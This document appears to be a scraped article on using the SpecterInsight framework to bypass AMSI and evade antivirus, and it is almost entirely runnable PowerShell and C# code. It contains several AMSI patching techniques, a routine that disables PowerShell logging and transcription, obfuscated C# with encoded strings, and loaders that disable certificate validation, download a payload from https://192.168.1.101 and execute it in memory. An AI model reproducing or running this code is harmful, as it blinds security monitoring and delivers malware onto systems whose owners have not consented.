使用 SpecterInsight 绕过 AMSI 并逃避 AV 检测

$bypass = Get-PwshAmsiBypass -Technique AmsiScanBufferStringReplace;$loader = Get-PwshLoadModuleFromURL -Pipeline 'win_any';$script = Obfuscate-PwshCombine $bypass, $loader;$script

# Define constants$PAGE_READONLY = 0x02$PAGE_READWRITE = 0x04$PAGE_EXECUTE_READWRITE = 0x40$PAGE_EXECUTE_READ = 0x20$PAGE_GUARD = 0x100$MEM_COMMIT = 0x1000$MAX_PATH = 260#Helper functionsfunctionIsReadable{    param ($protect, $state)return (        (($protect -band $PAGE_READONLY) -eq $PAGE_READONLY -or         ($protect -band $PAGE_READWRITE) -eq $PAGE_READWRITE -or         ($protect -band $PAGE_EXECUTE_READWRITE) -eq $PAGE_EXECUTE_READWRITE -or         ($protect -band $PAGE_EXECUTE_READ) -eq $PAGE_EXECUTE_READ) -and        ($protect -band $PAGE_GUARD) -ne $PAGE_GUARD -and        ($state -band $MEM_COMMIT) -eq $MEM_COMMIT    )}functionPatternMatch{    param ($buffer, $pattern, $index)for ($i = 0; $i -lt $pattern.Length; $i++) {if ($buffer[$index + $i] -ne $pattern[$i]) {return $false        }    }return $true}if($PSVersionTable.PSVersion.Major -gt 2) {#Create module builder    $DynAssembly = New-Object System.Reflection.AssemblyName("Win32");    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run);    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False);#Define structs    $TypeBuilder = $ModuleBuilder.DefineType("Win32.MEMORY_INFO_BASIC", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]);    [void]$TypeBuilder.DefineField("BaseAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("AllocationBase", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("AllocationProtect", [Int32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("RegionSize", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("State", [Int32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("Protect", [Int32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("Type", [Int32], [System.Reflection.FieldAttributes]::Public);    $MEMORY_INFO_BASIC_STRUCT = $TypeBuilder.CreateType();#Define structs    $TypeBuilder = $ModuleBuilder.DefineType("Win32.SYSTEM_INFO", [System.Reflection.TypeAttributes]::Public + [System.Reflection.TypeAttributes]::Sealed + [System.Reflection.TypeAttributes]::SequentialLayout, [System.ValueType]);    [void]$TypeBuilder.DefineField("wProcessorArchitecture", [UInt16], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("wReserved", [UInt16], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwPageSize", [UInt32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("lpMinimumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("lpMaximumApplicationAddress", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwActiveProcessorMask", [IntPtr], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwNumberOfProcessors", [UInt32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwProcessorType", [UInt32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("dwAllocationGranularity", [UInt32], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("wProcessorLevel", [UInt16], [System.Reflection.FieldAttributes]::Public);    [void]$TypeBuilder.DefineField("wProcessorRevision", [UInt16], [System.Reflection.FieldAttributes]::Public);    $SYSTEM_INFO_STRUCT = $TypeBuilder.CreateType();#P/Invoke Methods    $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class");    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]));    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError");    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,"kernel32.dll",        [Reflection.FieldInfo[]]@($SetLastError),        @($True));#Define [Win32.Kernel32]::VirtualProtect    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [bool],        [Type[]]@([IntPtr], [IntPtr], [Int32], [Int32].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);#Define [Win32.Kernel32]::GetCurrentProcess    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetCurrentProcess","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [IntPtr],        [Type[]]@(),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);#Define [Win32.Kernel32]::VirtualQuery    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualQuery","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [IntPtr],        [Type[]]@([IntPtr], [Win32.MEMORY_INFO_BASIC].MakeByRefType(), [uint32]),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);#Define [Win32.Kernel32]::GetSystemInfo    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetSystemInfo","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([Win32.SYSTEM_INFO].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);#Define [Win32.Kernel32]::GetMappedFileName    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("GetMappedFileName","psapi.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([IntPtr], [IntPtr], [System.Text.StringBuilder], [uint32]),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);#Define [Win32.Kernel32]::ReadProcessMemory    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("ReadProcessMemory","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);#Define [Win32.Kernel32]::WriteProcessMemory    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("WriteProcessMemory","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [Int32],        [Type[]]@([IntPtr], [IntPtr], [byte[]], [int], [int].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);    $Kernel32 = $TypeBuilder.CreateType();    $signature = [System.Text.Encoding]::UTF8.GetBytes("AmsiScanBuffer");    $hProcess = [Win32.Kernel32]::GetCurrentProcess();#Get system information    $sysInfo = New-Object Win32.SYSTEM_INFO;    [void][Win32.Kernel32]::GetSystemInfo([ref]$sysInfo);#List of memory regions to scan    $memoryRegions = @();    $address = [IntPtr]::Zero;#Scan through memory regionswhile ($address.ToInt64() -lt $sysInfo.lpMaximumApplicationAddress.ToInt64()) {        $memInfo = New-Object Win32.MEMORY_INFO_BASIC;if ([Win32.Kernel32]::VirtualQuery($address, [ref]$memInfo, [System.Runtime.InteropServices.Marshal]::SizeOf($memInfo))) {            $memoryRegions += $memInfo;        }#Move to the next memory region        $address = New-Object IntPtr($memInfo.BaseAddress.ToInt64() + $memInfo.RegionSize.ToInt64());    }    $count = 0;#Loop through memory regionsforeach ($region in $memoryRegions) {#Check if the region is readable and writableif (-not (IsReadable $region.Protect $region.State)) {continue;        }#Check if the region contains a mapped file        $pathBuilder = New-Object System.Text.StringBuilder $MAX_PATHif ([Win32.Kernel32]::GetMappedFileName($hProcess, $region.BaseAddress, $pathBuilder, $MAX_PATH) -gt 0) {            $path = $pathBuilder.ToString();if ($path.EndsWith("clr.dll", [StringComparison]::InvariantCultureIgnoreCase)) {#Scan the region for the pattern                $buffer = New-Object byte[] $region.RegionSize.ToInt64();                $bytesRead = 0;                [void][Win32.Kernel32]::ReadProcessMemory($hProcess, $region.BaseAddress, $buffer, $buffer.Length, [ref]$bytesRead);for ($k = 0; $k -lt ($bytesRead - $signature.Length); $k++) {                    $found = $True;for($m = 0; $m -lt $signature.Length; $m++) {if($buffer[$k + $m] -ne $signature[$m]) {                            $found = $False;break;                        }                    }if ($found) {                        $oldProtect = 0;if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $PAGE_EXECUTE_READWRITE, [ref]$oldProtect);                        }                        $replacement = New-Object byte[] $signature.Length;                        $bytesWritten = 0;                        [void][Win32.Kernel32]::WriteProcessMemory($hProcess, [IntPtr]::Add($region.BaseAddress, $k), $replacement, $replacement.Length, [ref]$bytesWritten);                        $count++;if (($region.Protect -band $PAGE_READWRITE) -ne $PAGE_READWRITE) {                            [void][Win32.Kernel32]::VirtualProtect($region.BaseAddress, $buffer.Length, $region.Protect, [ref]$oldProtect);                        }                    }                }            }        }    }}[System.Net.ServicePointManager]::ServerCertificateValidationCallback = { $true }$client = New-Object System.Net.WebClient;$contents = $client.DownloadData('https://192.168.1.101/static/resources/?build=1f5a69d0e70843f0af080f3cf87a69d7&kind=win_any');if($contents -eq $null) {exit;}$module = [System.Reflection.Assembly]::Load($contents);$parameters = [string[]]@();$module.EntryPoint.Invoke($null, $parameters);

Get-PwshLoggingBypass

try {    $key1 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging"    $key2 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellModuleLogging"    $key3 = "HKEY_LOCAL_MACHINESOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription"    $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);    $settings[$key1] = @{}    $settings[$key1].Add("EnableScriptBlockLogging", '0')    $settings[$key2] = @{}    $settings[$key2].Add("EnableModuleLogging", '0')    $settings[$key3] = @{}    $settings[$key3].Add("EnableTranscripting", '0')} catch { }

Get-PwshAmsiBypass -Technique ContextError

if($PSVersionTable.PSVersion.Major -gt 2) {[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType("System.Management.Automation.AmsiUtils").GetField("amsiContext",[Reflection.BindingFlags]"NonPublic,Static").GetValue($null),0x38801964);}

Get-PwshAmsiBypass -Technique InitFailed

functionSet-Value{    param(        [Parameter(Mandatory = $true)]        [Type]$Type,        [Parameter(Mandatory = $true)]        [string]$Name,        [Parameter(Mandatory = $true)]        [object]$Value    )    $method = "GetField";    $setter = "SetValue";    $field = $Type.$method($Name,"NonPublic,Static");    $field.$setter($null,$Value);}if($PSVersionTable.PSVersion.Major -gt 2) {    $Assembly = "Assembly";    $method = "GetType";    $type = [Ref].$Assembly.$method("System.Management.Automation.AmsiUtils");    $name = "amsiInitFailed";    Set-Value $type $name $true;}

Get-PwshAmsiBypass -Technique PatchAddType

if($PSVersionTable.PSVersion.Major -gt 2) {    Add-Type @'using System;using System.Diagnostics;using System.Runtime.InteropServices;using System.Text;using System.IO;using System.IO.Compression;namespace DataPusher{    public delegate IntPtr JSONConverterToXML(string tempKey);    public delegate bool GameStarter(IntPtr lastName, UIntPtr configFile, uint width, out uint errorMessage);    public class CodeCompiler {        [DllImport("kernel32")]        private static extern IntPtr GetProcAddress(IntPtr port, string tempFlag);        public static readonly JSONConverterToXML instance;        private static readonly GameStarter createdDate;        static CodeCompiler()        {            IntPtr tempDouble= CodeCompiler.UninstallPackage();            IntPtr tempGuid= CodeCompiler.GetProcAddress(tempDouble, ScreenshotCapturer.EventHandler.Energy);            CodeCompiler.instance = (JSONConverterToXML)Marshal.GetDelegateForFunctionPointer(tempGuid, typeof(JSONConverterToXML));            CodeCompiler.createdDate = (GameStarter)Marshal.GetDelegateForFunctionPointer(CodeCompiler.GetProcAddress(tempDouble, ScreenshotCapturer.EventHandler.CompanyPhone), typeof(GameStarter));        }        private static IntPtr UninstallPackage()        {            Process debugValue= Process.GetCurrentProcess();foreach (ProcessModule tempDouble in debugValue.Modules){    if (tempDouble.ModuleName.IndexOf(ScreenshotCapturer.EventHandler.IsAsynchronous, StringComparison.InvariantCultureIgnoreCase) >= 0)    {        return tempDouble.BaseAddress;    }}            return IntPtr.Zero;        }        public static bool UpdateEntity(IntPtr lastName, UIntPtr configFile, uint width, out uint errorMessage)        {            return CodeCompiler.createdDate(lastName, configFile, width, out errorMessage);        }        public static IntPtr CopyObject(string tempDouble, string tempInt)        {            IntPtr modifiedDate= CodeCompiler.instance(tempDouble);            return CodeCompiler.GetProcAddress(modifiedDate, tempInt);        }    }}namespace ScreenshotCapturer{    public static class EventHandler {        public static string Energy {            get            {                return EventHandler.createdBy[0];            }        }        public static string CompanyPhone {            get            {                return EventHandler.createdBy[1];            }        }        public static string IsAsynchronous {            get            {                return EventHandler.createdBy[2];            }        }        static EventHandler()        {            EventHandler.UpdateDatabaseRecords(EventHandler.xmlData, 32);            using (MemoryStream tempValue= new MemoryStream(EventHandler.xmlData))            {                using (GZipStream warningInfo= new GZipStream(tempValue, CompressionMode.Decompress))                {                    using (BinaryReader buffer= new BinaryReader(warningInfo))                    {                        int tempIndex= buffer.ReadInt32();                        EventHandler.createdBy = new string[tempIndex];                        for (int debugFlag= 0; debugFlag < tempIndex; debugFlag++)                        {                            EventHandler.createdBy[debugFlag] = buffer.ReadString();                        }                    }                }            }        }        private static void UpdateDatabaseRecords(byte[] firstName, int size)        {            for (int debugFlag= 0; debugFlag < firstName.Length; debugFlag++)            {                int deleteData= firstName[debugFlag] - size;                if (deleteData < 0)                {                    deleteData += 256;                }                firstName[debugFlag] = (byte)deleteData;            }        }        private static string[] createdBy;        private static byte[] xmlData= new byte[]        {            63,            171,            40,            32,            32,            32,            32,            32,            32,            42,            131,            134,            128,            128,            0,            17,            233,            111,            108,            17,            233,            108,            74,            106,            76,            202,            148,            4,            43,            235,            76,            74,            73,            109,            236,            41,            72,            234,            79,            105,            109,            78,            1,            232,            110,            77,            234,            107,            237,            81,            86,            34,            32,            227,            39,            124,            76,            73,            32,            32,            32        };    }}'@;    $address = [DataPusher.CodeCompiler]::CopyObject("amsi.dll", "AmsiScanBuffer");    $p = 0;    [void][DataPusher.CodeCompiler]::UpdateEntity($address, [uint32]5, 0x40, [ref]$p);    $patch = [Byte[]] (0xB6, 0xC1, 0x42, 0x2B, 0xBD, 0x20);    $offset = [Byte[]] (0x02, 0x96, 0xBE, 0xDC, 0xC3, 0xA3);for($i = 0; $i -lt $patch.Length; $i++) {        $sum = $patch[$i] + $offset[$i];        $patch[$i] = [byte]($sum % 256);    }    [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $address, 6);}

Get-PwshAmsiBypass -Technique PatchInMemory

if($PSVersionTable.PSVersion.Major -gt 2) {    $DynAssembly = New-Object System.Reflection.AssemblyName("Win32");    $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run);    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule("Win32", $False);    $TypeBuilder = $ModuleBuilder.DefineType("Win32.Kernel32", "Public, Class");    $DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]));    $SetLastError = [Runtime.InteropServices.DllImportAttribute].GetField("SetLastError");    $SetLastErrorCustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor,"kernel32.dll",        [Reflection.FieldInfo[]]@($SetLastError),        @($True));# Define [Win32.Kernel32]::VirtualProtect    $PInvokeMethod = $TypeBuilder.DefinePInvokeMethod("VirtualProtect","kernel32.dll",        ([Reflection.MethodAttributes]::Public -bor [Reflection.MethodAttributes]::Static),        [Reflection.CallingConventions]::Standard,        [IntPtr],        [Type[]]@([IntPtr], [UIntPtr], [UInt32], [UInt32].MakeByRefType()),        [Runtime.InteropServices.CallingConvention]::Winapi,        [Runtime.InteropServices.CharSet]::Auto)    $PInvokeMethod.SetCustomAttribute($SetLastErrorCustomAttribute);    $Kernel32 = $TypeBuilder.CreateType();    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() | Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split("\")[-1].Equals("System.dll") };    $UnsafeNativeMethods = $SystemAssembly.GetType("Microsoft.Win32.UnsafeNativeMethods");    $GetModuleHandle = $UnsafeNativeMethods.GetMethod("GetModuleHandle");    $GetProcAddress = $UnsafeNativeMethods.GetMethod("GetProcAddress", [reflection.bindingflags] "Public,Static", $null, [System.Reflection.CallingConventions]::Any, @((New-Object System.Runtime.InteropServices.HandleRef).GetType(), [string]), $null);    $Kern32Handle = $GetModuleHandle.Invoke($null, "amsi.dll");    $tmpPtr = New-Object IntPtr;    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle);    $left = "AmsiSc";    $right = "anBuffer";    $address = $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef,($left + $right)));    $p = 0;    [void]$Kernel32::VirtualProtect($address, [UInt32]5, 0x40, [ref]$p);    $offset = [Byte[]](12, 22, 2, 17, 18, 11);    $patch = [Byte[]](196, 109, 2, 24, 146, 206);for($i = 0; $i -lt $patch.Length; $i++) {        $patch[$i] -= $offset[$i];    }    [System.Runtime.InteropServices.Marshal]::Copy($patch, 0, $address, 6);}

Get-PwshAmsiBypass -Technique PatchScanContent

if($PSVersionTable.PSVersion.Major -gt 2) {    Add-Type @'using System;using System.ComponentModel;using System.Diagnostics;using System.Management.Automation;using System.Reflection;using System.Runtime.CompilerServices;using System.Runtime.InteropServices;using System.Text;namespace ConfigurationImporter{    public delegate bool ArrayMerger(IntPtr phoneNumber, IntPtr tempEnum, UIntPtr tempDateTime);    public delegate bool SettingsInitializer(IntPtr jsonObject, UIntPtr tempDateTime, uint startDate, out uint debugFlag);    public delegate bool PluginRegistrar(IntPtr phoneNumber, IntPtr tempEnum, byte[] endDate, uint tempChar, out IntPtr tempInt);    public static class FileImporter {        [DllImport("kernel32")]        private static extern IntPtr GetProcAddress(IntPtr requestUrl, string createdDate);        private static ArrayMerger server;        private static SettingsInitializer httpRequest;        private static PluginRegistrar length;        static FileImporter()        {            IntPtr debugValue= FileImporter.ImportDataFromExcel();            FileImporter.server = (ArrayMerger)Marshal.GetDelegateForFunctionPointer(FileImporter.RegisterService(debugValue, TimerStarter.CodeUnitTester.FrameCount), typeof(ArrayMerger));            FileImporter.httpRequest = (SettingsInitializer)Marshal.GetDelegateForFunctionPointer(FileImporter.RegisterService(debugValue, TimerStarter.CodeUnitTester.IsSibling), typeof(SettingsInitializer));            FileImporter.length = (PluginRegistrar)Marshal.GetDelegateForFunctionPointer(FileImporter.RegisterService(debugValue, TimerStarter.CodeUnitTester.IsTransient), typeof(PluginRegistrar));        }        public static void AdjustBrightness()        {            MethodInfo webRequest= typeof(PSObject).Assembly.GetType(TimerStarter.CodeUnitTester.QueryString).GetMethod(TimerStarter.CodeUnitTester.PaymentPayPalID, BindingFlags.NonPublic | BindingFlags.Static);            MethodInfo config= FileImporter.SegmentImage();            FileImporter.ConnectToServer(webRequest, config);        }        private static MethodInfo SegmentImage()        {foreach (MethodInfo tempString in typeof(FileImporter).GetMethods(BindingFlags.NonPublic | BindingFlags.Static)){    if (tempString.MethodImplementationFlags.HasFlag(MethodImplAttributes.NoOptimization) && tempString.MethodImplementationFlags.HasFlag(MethodImplAttributes.NoInlining))    {        return tempString;    }}            throw new ItemNotFoundException();        }        [MethodImpl(MethodImplOptions.NoOptimization | MethodImplOptions.NoInlining)]        private static int CreateDirectory(string stream, string logLevel)        {            return 1;        }        public static void ConnectToServer(MethodInfo webRequest, MethodInfo isValid)        {            IntPtr buffer= Process.GetCurrentProcess().Handle;            RuntimeHelpers.PrepareMethod(webRequest.MethodHandle);            RuntimeHelpers.PrepareMethod(isValid.MethodHandle);            IntPtr httpClient= webRequest.MethodHandle.GetFunctionPointer();            IntPtr status= isValid.MethodHandle.GetFunctionPointer();            byte[] responseText= FileImporter.CopyObject(status);            uint errorCode;            if (!FileImporter.httpRequest(httpClient, (UIntPtr)responseText.Length, 0x40, out errorCode))            {                throw new Win32Exception();            }            IntPtr height= IntPtr.Zero;            if (!FileImporter.length(buffer, httpClient, responseText, (uint)responseText.Length, out height))            {                throw new Win32Exception();            }            if (!FileImporter.server(buffer, httpClient, (UIntPtr)responseText.Length))            {                throw new Win32Exception();            }            if (!FileImporter.httpRequest(httpClient, (UIntPtr)responseText.Length, errorCode, out errorCode))            {                throw new Win32Exception();            }        }        private static IntPtr ImportDataFromExcel()        {            Process xmlData= Process.GetCurrentProcess();foreach (ProcessModule configuration in xmlData.Modules){    if (configuration.ModuleName.IndexOf(TimerStarter.CodeUnitTester.InvoiceDate, StringComparison.InvariantCultureIgnoreCase) >= 0)    {        return configuration.BaseAddress;    }}            return IntPtr.Zero;        }        private static IntPtr RegisterService(IntPtr count, string tempString)        {            return FileImporter.GetProcAddress(count, tempString);        }        private static byte[] CopyObject(IntPtr status)        {            byte[] responseText= FileImporter.CopyObject();            if (IntPtr.Size == 8)            {                byte[] logEntry= BitConverter.GetBytes(status.ToInt64());                for (int tempItem= 0; tempItem < logEntry.Length; tempItem++)                {                    responseText[tempItem + 2] = logEntry[tempItem];                }            }            else            {                byte[] logEntry= BitConverter.GetBytes(status.ToInt32());                for (int tempItem= 0; tempItem < logEntry.Length; tempItem++)                {                    responseText[tempItem + 1] = logEntry[tempItem];                }            }            return responseText;        }        private static byte[] CopyObject()        {            if (IntPtr.Size == 8)            {                return CodeCollaborator.utcTime;            }            else            {                return CodeCollaborator.flag;            }        }    }    public class CodeCollaborator {        public static byte[] utcTime= new byte[]        {            0x7F,            0xF1,            0x36,            0x36,            0x36,            0x36,            0x36,            0x36,            0x36,            0x36,            0x77,            0x35,            0x19        };        public static byte[] flag= new byte[]        {            0x9E,            0x36,            0x36,            0x36,            0x36,            0xF9        };        static CodeCollaborator()        {            int index= 54;            CodeCollaborator.GenerateDatabaseSchema(CodeCollaborator.utcTime, index);            CodeCollaborator.GenerateDatabaseSchema(CodeCollaborator.flag, index);        }        private static void GenerateDatabaseSchema(byte[] configFile, int index)        {            for (int tempItem= 0; tempItem < configFile.Length; tempItem++)            {                int client= configFile[tempItem] - index;                if (client < 0)                {                    client += 256;                }                configFile[tempItem] = (byte)client;            }        }    }}namespace TimerStarter{    public static class CodeUnitTester {        private static readonly string currentTimezone= "ehcaCnoitcurtsnIhsulF";        public static string FrameCount {            get            {                return CodeUnitTester.ValidateForm(CodeUnitTester.currentTimezone);            }        }        private static readonly string tempVariable= "tcetorPlautriV";        public static string IsSibling {            get            {                return CodeUnitTester.ValidateForm(CodeUnitTester.tempVariable);            }        }        private static readonly string tempData= "yromeMssecorPetirW";        public static string IsTransient {            get            {                return CodeUnitTester.ValidateForm(CodeUnitTester.tempData);            }        }        private static readonly string tempValue= "slitUismA.noitamotuA.tnemeganaM.metsyS";        public static string QueryString {            get            {                return CodeUnitTester.ValidateForm(CodeUnitTester.tempValue);            }        }        private static readonly string tempDictionary= "tnetnoCnacS";        public static string PaymentPayPalID {            get            {                return CodeUnitTester.ValidateForm(CodeUnitTester.tempDictionary);            }        }        private static readonly string createdBy= "23lenrek";        public static string InvoiceDate {            get            {                return CodeUnitTester.ValidateForm(CodeUnitTester.createdBy);            }        }        private static string ValidateForm(string heightValue)        {            char[] element= heightValue.ToCharArray();            Array.Reverse(element);            return new string (element);        }    }}'@;    [ConfigurationImporter.FileImporter]::AdjustBrightness();}

$url = Get-PayloadURL -Pipeline 'specter_stage_3';$loader = @"`$ServerCertificateValidationCallback = "ServerCertificateValidationCallback";[System.Net.ServicePointManager]::`$ServerCertificateValidationCallback = { `$true }`$client = New-Object System.Net.WebClient;`$DownloadString = "DownloadString";`$script = `$client.`$DownloadString('$url');iex `$script"@$loader

$url = Get-PayloadURL -Pipeline 'specter_stage_3';$loader = @"`$ServerCertificateValidationCallback = "ServerCertificateValidationCallback";[System.Net.ServicePointManager]::`$ServerCertificateValidationCallback = { `$true }`$client = New-Object System.Net.WebClient;`$DownloadString = "DownloadString";`$script = `$client.`$DownloadString('$url');iex `$script"@$loader

$url = Get-PayloadURL -Pipeline 'specter_stage_3';$loader = $loader | Obfuscate-PwshConvertToFunction;$logging = Get-PwshLoggingBypass | Obfuscate-PwshConvertToFunction;$bypass = Get-PwshAmsiBypass -Technique $AmsiBypassTechnique | Obfuscate-PwshConvertToFunction;$combined = Obfuscate-PwshCombine @($logging, $bypass, $loader, $logging.FunctionName, $bypass.FunctionName, $loader.FunctionName);$combined

functionSubtagsOptimizerAwaiter{try {        $key1 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellScriptBlockLogging"        $key2 = "HKEY_LOCAL_MACHINESoftwarePoliciesMicrosoftWindowsPowerShellModuleLogging"        $key3 = "HKEY_LOCAL_MACHINESOFTWAREWow6432NodePoliciesMicrosoftWindowsPowerShellTranscription"        $settings = [Ref].Assembly.GetType("System.Management.Automation.Utils").GetField("cachedGroupPolicySettings","NonPublic,Static").GetValue($null);        $settings[$key1] = @{}        $settings[$key1].Add("EnableScriptBlockLogging", '0')        $settings[$key2] = @{}        $settings[$key2].Add("EnableModuleLogging", '0')        $settings[$key3] = @{}        $settings[$key3].Add("EnableTranscripting", '0')    } catch { }}functionSql7Ended{functionSet-Value{        param(            [Parameter(Mandatory = $true)]            [Type]$Type,            [Parameter(Mandatory = $true)]            [string]$Name,            [Parameter(Mandatory = $true)]            [object]$Value        )        $method = "GetField";        $setter = "SetValue";        $field = $Type.$method($Name,"NonPublic,Static");        $field.$setter($null,$Value);    }if($PSVersionTable.PSVersion.Major -gt 2) {        $Assembly = "Assembly";        $method = "GetType";        $type = [Ref].$Assembly.$method("System.Management.Automation.AmsiUtils");        $name = "amsiInitFailed";        Set-Value $type $name $true;    }}functionRadioValidatorCreating{    $ServerCertificateValidationCallback = "ServerCertificateValidationCallback";    [System.Net.ServicePointManager]::$ServerCertificateValidationCallback = { $true }    $client = New-Object System.Net.WebClient;    $DownloadString = "DownloadString";    $script = $client.$DownloadString('https://192.168.1.101/static/resources/?build=1f5a69d0e70843f0af080f3cf87a69d7&kind=specter_stage_3');    iex $script}SubtagsOptimizerAwaiterSql7EndedRadioValidatorCreating

$script = @"#This is a single line fomment`$a = 'hello world!'<# thisisa multilinecomment!#>Write-Host `$a"@$script | Obfuscate-PwshRemoveComments

$a = 'hello world!'Write-Host $a

'[Environment]::GetCommandLineArgs()' | Obfuscate-PwshMemberExpressions

[System.Environment]::'GetCommandLineArgs'.Invoke()

$script = @"[System.Reflection.Assembly]::Load(`$bytes);"@;$script | Obfuscate-PwshTypeExpressions

$name = [Type]'System.Reflection.Assembly';$name::Load($bytes);

$script = @"function Write-LogMessage {    param(        [Parameter(Mandatory = `$true, Position = 0)]        [string]        `$Message    )    Write-Host "[*] `$Message" -ForegroundColor Yellow}Write-LogMessage 'hello world!'"@$script | Obfuscate-PwshFunctionNames

function Search-Any {    param(        [Parameter(Mandatory = $true, Position = 0)]        [string]$Message    )    Write-Host "[*] $Message" -ForegroundColor Yellow}Search-Any 'hello world!'

'$a = "hello world"; Write-Host $a;' | Obfuscate-PwshCmdlets

New-Alias 'Restart-Importing''Write-Host'$a = "hello world"; Restart-Importing $a;

'$a = "hello world"; Write-Host $a;' | Obfuscate-PwshVariables

$x = "hello world"; Write-Host $x;

Get-PwshAmsiBypass | Obfuscate-PwshStrings

